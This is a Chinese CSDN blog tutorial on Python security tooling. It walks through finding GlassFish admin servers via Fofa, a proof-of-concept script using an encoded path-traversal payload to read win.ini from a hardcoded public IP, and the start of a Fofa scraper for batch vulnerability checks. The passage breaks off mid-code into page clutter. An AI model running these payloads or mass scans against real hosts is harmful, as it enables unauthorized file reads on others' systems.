python安全开发——Fofa结果、POC批量提取验证&教育SRC

本文介绍了使用Python进行安全开发的方法,包括利用Fofa进行目标搜索,提取验证POC,以及批量验证漏洞。通过示例展示了如何编写Python脚本批量收集Fofa搜索结果,对Glassfish任意文件读取漏洞进行验证,并讨论了教育SRC平台的信息提取。文章还提到了异常处理、延时策略和多线程优化。
摘要由CSDN通过智能技术生成

在这里插入图片描述
1.概述:

涉及技术 :Request 爬虫技术,lxml 数据提取,异常护理,Fofa 等使用说明。
目的: 掌握和利用公开或者 0day漏洞进行批量化的收集和验证脚本开发。

在这里插入图片描述

2.某漏洞 POC 验证脚本:

requests库使用参考:https://docs.python-requests.org/en/latest/

首先拿一个简单的例子:验证是否存在 glassfish 任意文件读取漏洞

过程:验证存在 glassfish 的应用是否存在任意文件读取漏洞 :两个 poc,分别对应 linux 和 windows 的。首先fofa关键字(“glassfish” && port=“4848”&&after=“2020-01-01”)搜索可能存在漏洞的网址,记下url,然后编写python脚本发起 get 请求,根据请求的响应状态码来判断是否存在漏洞:

import requests

url='http://186.202.17.69:4848/'
payload_linux='/'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

#data_linux=requests.get(url+payload_linux) #获取请求后的返回源代码
#data_windows=requests.get(url+payload_windows) #获取请求后的返回源代码

data_linux=requests.get(url+payload_linux).status_code #获取请求后的返回状态码
data_windows=requests.get(url+payload_windows).status_code #获取请求后的返回状态码

if data_linux==200 or data_windows==200:
    print("yes")
else:
    print("no")

#print(data_linux.content.decode('utf-8'))
#print(data_windows.content.decode('utf-8'))

原理很简单,就是发起一次http请求,不存在该文件就会返回404状态码。
在这里插入图片描述

3.Fofa搜索结果提取采集漏洞批量验证脚本:

上述只是针对单个目标的验证,那么如何批量提取fofa搜索到的结果、批量发起请求验证该漏洞呢?

首先是如何批量提取搜索结果:可以借助lxml库来提取fofa的结果(也可以正则表达式,没学过爬虫,不知道其他办法…),了解fofa的url搜索规则,对url进行base64处理、页数和条数显示:

#由于fofa最近被整改,修改了域名,而且目前仅限会员使用,无法完全适用了,但思路也可以用到其他搜索引擎上
#本来fofa也有接口可以直接调用查询的,这样写脚本适配url规则及写入cookie反而麻烦了,整改后不知道现在接口还能不能用。
import base64
import requests

search_data='"glassfish" && port="4848"'
url='https://fofa.info/result?&qbase64='
search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
urls=url+search_data_bs
print(urls)

得到的信息筛选出需要的,此时需要使用lxml库:
在这里插入图片描述

soup=etree.tostring(result
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值